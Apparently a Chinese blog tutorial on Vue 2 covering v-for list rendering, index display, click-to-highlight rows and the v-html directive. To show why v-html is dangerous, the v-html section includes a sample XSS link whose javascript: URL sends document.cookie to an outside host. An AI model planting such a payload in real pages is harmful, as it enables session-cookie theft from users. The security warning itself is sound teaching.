htmledit_views">
Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 响应式渲染 - 列表布局和v-html
目录
列表布局
简单渲染列表
显示索引值
点击变色
html-toc" name="tableOfContents" style="margin-left:40px">V-html
作用
注意
采用策略
应用
总结
列表布局
简单渲染列表
Data中设置状态，是一个数组格式的默认信息。
然后设置v-for循环渲染ul的li元素。
示例如下：
html"><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../lib/html" title=vue.js>vue.js"></script>
</head>
<body>
<div id="box"><ul><li v-for="item in datalist">{{item}}</li></ul>
</div>
<script>new Vue({el: "#box", // elementdata: {datalist:["zhangsan", "lisi", "wangwu", "xiaoming"]},methods: {}})
</script>
</body>
</html>效果如下：
显示索引值
显示列表数据的索引值。
示例如下：
html"><ul><li v-for="(item, index) in datalist">{{item}}--{{index}}</li>
</ul>效果如下：
点击变色
创建一个列表，点击哪一个行，哪一行显示选中效果。
示例如下：
html"><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><style>.active {background: red;}</style><script src="../lib/html" title=vue.js>vue.js"></script>
</head>
<body>
<div id="box"><ul><li v-for="(item, index) in datalist" :class="current === index ? 'active': ''"@click="handleClick(index)">{{item}}</li></ul>
</div>
<script>new Vue({el: "#box", // elementdata: {current: 0,datalist: ['面朝大海，春暖花开', '从明天起，做一个幸福的人', '喂马、劈柴，周游世界'],},methods: {handleClick(index) {this.current = index}}})
</script>
</body>
</html>实现效果：
html" name="V-html" style="background-color:transparent; text-align:justify">V-html
作用
更新元素的innerHTML。
注意
内容按普通 HTML插入。不会作为 Vue 模板进行编译。如果试图使用 v-html 组合模板，可以重新考虑是否通过使用组件来替代。
在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 xss 攻击。
在可信内容上，不用在用户提交的内容上。
采用策略
使用V-html 需防止XSS,CSRF
前端过滤
后台转义
给cookie加上属性httponly
应用
模拟ajax请求后端数据后，使用vue解析和v-html解析展示不同效果。
示例如下：
html"><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Title</title><script src="../lib/html" title=vue.js>vue.js"></script>
</head>
<body>
<div id="box"><div>{{mydanger}}</div><div v-html="mydanger"></div><button @click="handleAjax()">请求</button>
</div>
<script>new Vue({el: "#box", // elementdata: {mydanger: '',},methods: {handleAjax() {console.log('点击了按钮')// 此处为请求后端获取数据this.mydanger = "<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>震惊!!!点击查看</a>"}}})
</script>
</body>
</html>效果如下：
点击链接后，会跳转链接并带着cookie，非常危险。
总结
Vue 渐进式JavaScript 框架 基于Vue2的学习笔记 - Vue 响应式渲染 - 列表布局和v-html
